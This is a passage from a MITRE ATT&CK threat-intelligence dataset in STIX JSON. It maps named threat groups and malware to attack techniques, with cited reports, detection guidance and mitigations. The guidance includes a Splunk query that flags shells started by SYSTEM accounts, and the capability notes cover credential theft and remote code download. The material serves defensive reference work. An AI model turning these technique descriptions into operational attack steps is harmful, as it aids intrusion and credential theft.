Recent Cloud Atlas activity. Retrieved May 8, 2020."}],"modified":"2020-05-12T12:49:52.904Z","description":"[Inception](https://attack.mitre.org/groups/G0100) has used malicious HTA files to drop and execute malware.(Citation: Kaspersky Cloud Atlas August 2019)","relationship_type":"uses","source_ref":"intrusion-set--ead23196-d7b6-4ce6-a124-4ab4b67d81bd","target_ref":"attack-pattern--840a987a-99bd-4a80-a5c9-0cb2baa6cade","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--865146d9-3654-4a18-ac9a-aba9bb7a265d","created":"2024-09-16T14:51:37.289Z","revoked":false,"external_references":[{"source_name":"Github_SILENTTRINITY","description":"byt3bl33d3r. (n.d.). SILENTTRINITY. Retrieved September 12, 2024.","url":"https://github.com/byt3bl33d3r/SILENTTRINITY"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-16T14:51:37.289Z","description":"[SILENTTRINITY](https://attack.mitre.org/software/S0692) can make tokens from known credentials.(Citation: Github_SILENTTRINITY) ","relationship_type":"uses","source_ref":"tool--1244e058-fa10-48cb-b484-0bcf671107ae","target_ref":"attack-pattern--8cdeb020-e31e-4f88-a582-f53dcfbda819","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--86576242-a9d1-4fd8-82a2-0e7d09d57513","created":"2024-06-10T19:47:45.089Z","revoked":false,"external_references":[{"source_name":"Lumen KVBotnet 2023","description":"Black Lotus Labs. (2023, December 13). Routers Roasting On An Open Firewall: The KV-Botnet Investigation. Retrieved June 10, 2024.","url":"https://blog.lumen.com/routers-roasting-on-an-open-firewall-the-kv-botnet-investigation/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-06-10T19:47:45.089Z","description":"[KV Botnet Activity](https://attack.mitre.org/campaigns/C0035) command and control traffic uses a non-standard, likely custom protocol for communication.(Citation: Lumen KVBotnet 2023)","relationship_type":"uses","source_ref":"campaign--0c259854-4044-4f6c-ac49-118d484b3e3b","target_ref":"attack-pattern--c21d5a77-d422-4a69-acd7-2c53c1faa34b","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--865d4dac-1c58-46ed-8b86-58ec6c2633ec","created":"2023-03-29T20:42:54.627Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"GitHub Rubeus March 2023","description":"Harmj0y. (n.d.). Rubeus. Retrieved March 29, 2023.","url":"https://github.com/GhostPack/Rubeus"},{"source_name":"DFIR Ryuk 2 Hour Speed Run November 2020","description":"The DFIR Report. (2020, November 5). Ryuk Speed Run, 2 Hours to Ransom. Retrieved November 6, 2020.","url":"https://thedfirreport.com/2020/11/05/ryuk-speed-run-2-hours-to-ransom/"},{"source_name":"DFIR Ryuk's Return October 2020","description":"The DFIR Report. (2020, October 8). Ryuk’s Return. Retrieved October 9, 2020.","url":"https://thedfirreport.com/2020/10/08/ryuks-return/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-04-07T18:02:28.261Z","description":"[Rubeus](https://attack.mitre.org/software/S1071) can reveal the credentials of accounts that have Kerberos pre-authentication disabled through AS-REP roasting.(Citation: GitHub Rubeus March 2023)(Citation: DFIR Ryuk's Return October 2020)(Citation: DFIR Ryuk 2 Hour Speed Run November 2020) ","relationship_type":"uses","source_ref":"tool--e33267fe-099f-4af2-8730-63d49f8813b2","target_ref":"attack-pattern--3986e7fd-a8e9-4ecb-bfc6-55920855912b","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--8662e715-6410-40cf-8faa-21b186073a7d","created":"2022-03-30T14:26:51.870Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-10T14:07:43.171Z","description":"Monitor for newly executed processes that does not correlate to known good software. Analyze the process execution trees, historical activities from the third-party application (such as what types of files are usually pushed), and the resulting activities or events from the file/binary/script pushed to systems. \n\nNote: This query detects the creation of suspicious processes initiated by system or administrative accounts (such as SYSTEM, Admin, or SCCM) that are not typical for those users, and filters the process creation based on unusual patterns. Processes like cmd.exe, powershell.exe, or python executed in this context without an expected parent process or correlation to authorized events should be flagged for investigation.\n\nAnalytic 1 - Look for unusual software deployment processes, unexpected binaries or scripts, non-standard execution trees\n\nsourcetype=WinEventLog:Security OR sourcetype=linux_audit | search (process_name IN (\"cmd.exe\", \"powershell.exe\", \"sh\", \"bash\", \"python\", \"wscript\", \"msiexec.exe\", \"installer\") AND user IN (\"SYSTEM\", \"Admin\", \"SCCM\")) ","relationship_type":"detects","source_ref":"x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077","target_ref":"attack-pattern--92a78814-b191-47ca-909c-1ccfe3777414","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--8668965b-801b-4d3d-b797-05a15487de11","created":"2022-03-30T14:26:51.845Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Palo Alto Unit 42 Domain Shadowing 2022","description":"Janos Szurdi, Rebekah Houser and Daiping Liu. (2022, September 21). Domain Shadowing: A Stealthy Use of DNS Compromise for Cybercrime. Retrieved March 7, 2023.","url":"https://unit42.paloaltonetworks.com/domain-shadowing/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-07T13:07:33.501Z","description":"Monitor for queried domain name system (DNS) registry data that may hijack domains and/or subdomains that can be used during targeting. In some cases, abnormal subdomain IP addresses (such as those originating in a different country from the root domain) may indicate a malicious subdomain.(Citation: Palo Alto Unit 42 Domain Shadowing 2022) Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control.","relationship_type":"detects","source_ref":"x-mitre-data-component--2e521444-7295-4dec-96c1-7595b2df7811","target_ref":"attack-pattern--f9cc4d06-775f-4ee1-b401-4e2cc0da30ba","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--866b2630-b93f-49c6-93da-d1c55e229d66","created":"2024-09-24T15:28:39.637Z","revoked":false,"external_references":[{"source_name":"Elastic Binary Executed from Shared Memory Directory","description":"Elastic. (n.d.). Binary Executed from Shared Memory Directory. Retrieved September 24, 2024.","url":"https://www.elastic.co/guide/en/security/7.17/prebuilt-rule-7-16-3-binary-executed-from-shared-memory-directory.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-24T15:28:39.637Z","description":"In Linux systems, monitor for newly executed processes from shared memory directories such as `/dev/shm`, `/run/shm`, `/var/run`, and `/var/lock`.(Citation: Elastic Binary Executed from Shared Memory Directory)","relationship_type":"detects","source_ref":"x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077","target_ref":"attack-pattern--02c5abff-30bf-4703-ab92-1f6072fae939","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--8674de47-b051-4384-a6e0-aeed32b8c270","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"MalwareBytes LazyScripter Feb 2021","description":"Jazi, H. (2021, February). LazyScripter: From Empire to double RAT. Retrieved November 24, 2021.","url":"https://www.malwarebytes.com/resources/files/2021/02/lazyscripter.pdf"},{"source_name":"Github Koadic","description":"Magius, J., et al. (2017, July 19). Koadic. Retrieved September 27, 2024.","url":"https://github.com/offsecginger/koadic"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-27T18:36:30.843Z","description":"[Koadic](https://attack.mitre.org/software/S0250) can open an interactive command-shell to perform command line functions on victim machines. [Koadic](https://attack.mitre.org/software/S0250) performs most of its operations using Windows Script Host (Jscript) and to run arbitrary shellcode.(Citation: Github Koadic)(Citation: MalwareBytes LazyScripter Feb 2021)","relationship_type":"uses","source_ref":"tool--c8655260-9f4b-44e3-85e1-6538a5f6e4f4","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--867a1701-c263-4582-ad1c-7c0baae2cf23","type":"relationship","created":"2020-12-22T18:36:12.322Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cybereason Molerats Dec 2020","url":"https://www.cybereason.com/hubfs/dam/collateral/reports/Molerats-in-the-Cloud-New-Malware-Arsenal-Abuses-Cloud-Platforms-in-Middle-East-Espionage-Campaign.pdf","description":"Cybereason Nocturnus Team. (2020, December 9). MOLERATS IN THE CLOUD: New Malware Arsenal Abuses Cloud Platforms in Middle East Espionage Campaign. Retrieved December 22, 2020."},{"source_name":"BleepingComputer Molerats Dec 2020","url":"https://www.bleepingcomputer.com/news/security/hacking-group-s-new-malware-abuses-google-and-facebook-services/","description":"Ilascu, I. (2020, December 14). Hacking group’s new malware abuses Google and Facebook services. Retrieved December 28, 2020."}],"modified":"2020-12-28T21:34:37.869Z","description":"[DropBook](https://attack.mitre.org/software/S0547) can download and execute additional files.(Citation: Cybereason Molerats Dec 2020)(Citation: BleepingComputer Molerats Dec 2020)","relationship_type":"uses","source_ref":"malware--3ae6097d-d700-46c6-8b21-42fc0bcb48fa","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--867ca425-de4a-4bab-b7a3-5de71cf95c7e","created":"2024-09-25T18:44:38.906Z","revoked":false,"external_references":[{"source_name":"Trend Micro Ransomware Spotlight Play July 2023","description":"Trend Micro Research. (2023, July 21). Ransomware Spotlight: Play. Retrieved September 24, 2024.","url":"https://www.trendmicro.com/vinfo/us/security/news/ransomware-spotlight/ransomware-spotlight-play"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-25T18:44:38.906Z","description":"(Citation: Trend Micro Ransomware Spotlight Play July 2023)","relationship_type":"uses","source_ref":"intrusion-set--ecbf507f-6786-4121-a4cc-0fd6a8d3a29d","target_ref":"tool--f91162cc-1686-4ff8-8115-bf3f61a4cc7a","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--867e25d3-bf89-4072-bd97-c6e3176ccc11","created":"2022-03-30T14:26:51.866Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-07-06T12:32:41.244Z","description":"Monitor for common cryptomining or proxyware files on local systems that may indicate compromise and resource usage.","relationship_type":"detects","source_ref":"x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c","target_ref":"attack-pattern--cd25c1b4-935c-4f0e-ba8d-552f28bc4783","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--86847d37-f7da-4c30-ab48-2da87e6c1cff","type":"relationship","created":"2020-03-19T23:18:35.420Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Symantec Leafminer July 2018","description":"Symantec Security Response. (2018, July 25). Leafminer: New Espionage Campaigns Targeting Middle Eastern Regions. Retrieved August 28, 2018.","url":"https://www.symantec.com/blogs/threat-intelligence/leafminer-espionage-middle-east"}],"modified":"2020-03-19T23:18:35.420Z","description":"[Leafminer](https://attack.mitre.org/groups/G0077) used several tools for retrieving login and password information, including LaZagne.(Citation: Symantec Leafminer July 2018)","relationship_type":"uses","source_ref":"intrusion-set--32bca8ff-d900-4877-aa65-d70baa041b74","target_ref":"attack-pattern--837f9164-50af-4ac0-8219-379d8a74cefc","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--868a59bb-27ed-4c54-8de0-54fcc22e911e","created":"2024-03-01T15:37:20.750Z","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-03-01T15:37:20.750Z","description":"Configure Active Directory to prevent use of certain techniques; use SID Filtering, etc.","relationship_type":"mitigates","source_ref":"course-of-action--e3388c78-2a8d-47c2-8422-c1398b324462","target_ref":"attack-pattern--51a14c76-dd3b-440b-9c20-2bf91d25a814","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--868d0bb7-fb2a-42d8-8a8a-5772d8a10eea","type":"relationship","created":"2022-03-02T14:53:10.583Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-18T14:48:33.218Z","description":"Some endpoint security solutions can be configured to block some types of behaviors related to process injection/memory tampering based on common sequences of indicators (ex: execution of specific API functions).","relationship_type":"mitigates","source_ref":"course-of-action--90f39ee1-d5a3-4aaa-9f28-3b42815b0d46","target_ref":"attack-pattern--a4657bc9-d22f-47d2-a7b7-dd6ec33f3dde","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--8690ef38-ee7a-49ec-b723-0f7dceced233","created":"2021-11-29T18:59:22.147Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Trend Micro Iron Tiger April 2021","description":"Lunghi, D. and Lu, K. (2021, April 9). Iron Tiger APT Updates Toolkit With Evolved SysUpdate Malware. Retrieved November 12, 2021.","url":"https://www.trendmicro.com/en_us/research/21/d/iron-tiger-apt-updates-toolkit-with-evolved-sysupdate-malware-va.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-10T23:45:07.503Z","description":"[SysUpdate](https://attack.mitre.org/software/S0663) can encrypt and encode its configuration file.(Citation: Trend Micro Iron Tiger April 2021)","relationship_type":"uses","source_ref":"malware--c009560a-f097-45a3-8f9f-78ec1440a783","target_ref":"attack-pattern--0d91b3c0-5e50-47c3-949a-2a796f04d144","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8698cc92-79ad-46c4-9cb8-30ef87a8d760","type":"relationship","created":"2019-07-18T21:12:51.556Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cybereason Soft Cell June 2019","url":"https://www.cybereason.com/blog/operation-soft-cell-a-worldwide-campaign-against-telecommunications-providers","description":"Cybereason Nocturnus. (2019, June 25). Operation Soft Cell: A Worldwide Campaign Against Telecommunications Providers. Retrieved July 18, 2019."}],"modified":"2019-07-22T15:49:28.861Z","description":"[GALLIUM](https://attack.mitre.org/groups/G0093) used PowerShell for execution to assist in lateral movement as well as for dumping credentials stored on compromised machines.(Citation: Cybereason Soft Cell June 2019)","relationship_type":"uses","source_ref":"intrusion-set--06a11b7e-2a36-47fe-8d3e-82c265df3258","target_ref":"attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--8699832d-126e-439f-b342-5e1b3dac9115","created":"2023-03-31T17:29:24.411Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"NPLogonNotify","description":"Microsoft. (2021, October 21). NPLogonNotify function (npapi.h). Retrieved March 30, 2023.","url":"https://learn.microsoft.com/en-us/windows/win32/api/npapi/nf-npapi-nplogonnotify"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-04-11T03:26:15.841Z","description":"Monitor for abnormal API calls to `NPLogonNotify()`.(Citation: NPLogonNotify)","relationship_type":"detects","source_ref":"x-mitre-data-component--9bde2f9d-a695-4344-bfac-f2dce13d121e","target_ref":"attack-pattern--90c4a591-d02d-490b-92aa-619d9701ac04","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--86a37939-7e17-4925-b0bb-5e84c9c53812","created":"2022-03-30T14:26:51.836Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Chrome Roaming Profiles","description":"Chrome Enterprise and Education Help. (n.d.). Use Chrome Browser with Roaming User Profiles. Retrieved March 28, 2023.","url":"https://support.google.com/chrome/a/answer/7349337"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-28T18:14:29.254Z","description":"Monitor executed commands and arguments for actions that could be taken to gather browser information, such as local files and databases (e.g., `%APPDATA%/Google/Chrome`).(Citation: Chrome Roaming Profiles) Remote access tools with built-in features may interact directly using APIs to gather information. Information may also be acquired through system management tools such as Windows Management Instrumentation and PowerShell.","relationship_type":"detects","source_ref":"x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0","target_ref":"attack-pattern--5e4a2073-9643-44cb-a0b5-e7f4048446c7","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--86a54cca-dc93-42a6-b1c9-01d11c57c6d0","created":"2023-09-30T03:19:10.208Z","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-30T03:19:10.208Z","description":"An adversary must already have root level access on the local system to make full use of this technique; be sure to restrict users and accounts to the least privileges they require.","relationship_type":"mitigates","source_ref":"course-of-action--93e7968a-9074-4eac-8ae9-9f5200ec3317","target_ref":"attack-pattern--562e9b64-7239-493d-80f4-2bff900d9054","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--86a6b769-470e-4aa4-a285-2559af72a21b","created":"2024-09-23T22:29:22.607Z","revoked":false,"external_references":[{"source_name":"group-ib_redcurl1","description":"Group-IB. (2020, August). RedCurl: The Pentest You Didn’t Know About. Retrieved August 9, 2024.","url":"https://www.group-ib.com/resources/research-hub/red-curl/"},{"source_name":"group-ib_redcurl2","description":"Group-IB. (2021, November). RedCurl: The Awakening. Retrieved August 14, 2024.","url":"https://www.group-ib.com/resources/research-hub/red-curl-2/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-23T22:29:22.607Z","description":"[RedCurl](https://attack.mitre.org/groups/G1039) has used malicious links to infect the victim machines.(Citation: group-ib_redcurl1)(Citation: group-ib_redcurl2)","relationship_type":"uses","source_ref":"intrusion-set--82323c70-4186-4b61-94f5-b227c3b28e89","target_ref":"attack-pattern--ef67e13e-5598-4adc-bdb2-998225874fa9","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--86a7e0a4-4fbd-4355-9428-f0b79249d225","created":"2022-09-01T15:28:06.628Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Kaspersky Lyceum October 2021","description":"Kayal, A. et al. (2021, October). LYCEUM REBORN: COUNTERINTELLIGENCE IN THE MIDDLE EAST. Retrieved June 14, 2022.","url":"https://vblocalhost.com/uploads/VB2021-Kayal-etal.pdf"},{"source_name":"SecureWorks August 2019","description":"SecureWorks 2019, August 27 LYCEUM Takes Center Stage in Middle East Campaign Retrieved. 2019/11/19 ","url":"https://www.secureworks.com/blog/lyceum-takes-center-stage-in-middle-east-campaign"},{"source_name":"Zscaler Lyceum DnsSystem June 2022","description":"Shivtarkar, N. and Kumar, A. (2022, June 9). Lyceum .NET DNS Backdoor. Retrieved June 23, 2022.","url":"https://www.zscaler.com/blogs/security-research/lyceum-net-dns-backdoor"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-17T16:52:33.799Z","description":"[HEXANE](https://attack.mitre.org/groups/G1001) has acquired, and sometimes customized, open source tools such as [Mimikatz](https://attack.mitre.org/software/S0002), [Empire](https://attack.mitre.org/software/S0363), VNC remote access software, and DIG.net.(Citation: Kaspersky Lyceum October 2021)(Citation: SecureWorks August 2019)(Citation: Zscaler Lyceum DnsSystem June 2022)","relationship_type":"uses","source_ref":"intrusion-set--f29b7c5e-2439-42ad-a86f-9f8984fafae3","target_ref":"attack-pattern--a2fdce72-04b2-409a-ac10-cc1695f4fce0","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--86a7ffc8-6107-4854-96a7-d39f8bb4069f","created":"2022-03-24T11:46:08.667Z","x_mitre_version":"1.0","external_references":[{"source_name":"ClearSky Lazarus Aug 2020","url":"https://www.clearskysec.com/wp-content/uploads/2020/08/Dream-Job-Campaign.pdf","description":"ClearSky Research Team. (2020, August 13). Operation 'Dream Job' Widespread North Korean Espionage Campaign. Retrieved December 20, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"[DRATzarus](https://attack.mitre.org/software/S0694) can search for other machines connected to compromised host and attempt to map the network.(Citation: ClearSky Lazarus Aug 2020)","modified":"2022-04-17T18:38:15.780Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--56aa3c82-ed40-4b5a-84bf-7231356d9e96","target_ref":"attack-pattern--e358d692-23c0-4a31-9eb6-ecc13a8d7735","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--86b00142-a259-4237-b1a8-a8183d581b54","created":"2019-04-19T15:08:15.767Z","x_mitre_version":"1.0","external_references":[{"source_name":"Unit42 PlugX June 2017","url":"https://unit42.paloaltonetworks.com/unit42-paranoid-plugx/","description":"Lancaster, T., Idrizovic, E. (2017, June 27). Paranoid PlugX. Retrieved April 19, 2019."}],"x_mitre_deprecated":false,"revoked":false,"description":"[PlugX](https://attack.mitre.org/software/S0013) checks if VMware tools is running in the background by searching for any process named \"vmtoolsd\".(Citation: Unit42 PlugX June 2017)","modified":"2022-04-15T16:31:37.599Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--64fa0de0-6240-41f4-8638-f4ca7ed528fd","target_ref":"attack-pattern--29be378d-262d-4e99-b00d-852d573628e6","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--86b103ec-dfa0-4c0a-ad96-b885345b4711","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 QUADAGENT July 2018","description":"Lee, B., Falcone, R. (2018, July 25). OilRig Targets Technology Service Provider and Government Agency with QUADAGENT. Retrieved August 9, 2018.","url":"https://researchcenter.paloaltonetworks.com/2018/07/unit42-oilrig-targets-technology-service-provider-government-agency-quadagent/"}],"modified":"2020-03-18T15:37:23.765Z","description":"[QUADAGENT](https://attack.mitre.org/software/S0269) used the PowerShell filenames Office365DCOMCheck.ps1 and SystemDiskClean.ps1.(Citation: Unit 42 QUADAGENT July 2018)","relationship_type":"uses","source_ref":"malware--7e6c2a9d-9dc1-4eb0-b27c-91e8076a9d77","target_ref":"attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--86b2980a-dd9f-4553-8f65-69f75f0f4332","type":"relationship","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Palo Alto OilRig May 2016","description":"Falcone, R. and Lee, B.. (2016, May 26). The OilRig Campaign: Attacks on Saudi Arabian Organizations Deliver Helminth Backdoor. Retrieved May 3, 2017.","url":"http://researchcenter.paloaltonetworks.com/2016/05/the-oilrig-campaign-attacks-on-saudi-arabian-organizations-deliver-helminth-backdoor/"}],"modified":"2020-03-16T16:55:39.518Z","description":"[Helminth](https://attack.mitre.org/software/S0170) can download additional files.(Citation: Palo Alto OilRig May 2016)","relationship_type":"uses","source_ref":"malware--eff1a885-6f90-42a1-901f-eef6e7a1905e","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--86b41c35-ae4d-418b-9409-07e49d3c769d","created":"2019-04-17T13:46:38.814Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Cofense Astaroth Sept 2018","description":"Doaty, J., Garrett, P.. (2018, September 10). We’re Seeing a Resurgence of the Demonic Astaroth WMIC Trojan. Retrieved September 25, 2024.","url":"https://web.archive.org/web/20200302071436/https://cofense.com/seeing-resurgence-demonic-astaroth-wmic-trojan/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-25T15:03:49.414Z","description":"[Astaroth](https://attack.mitre.org/software/S0373) collects the external IP address from the system. (Citation: Cofense Astaroth Sept 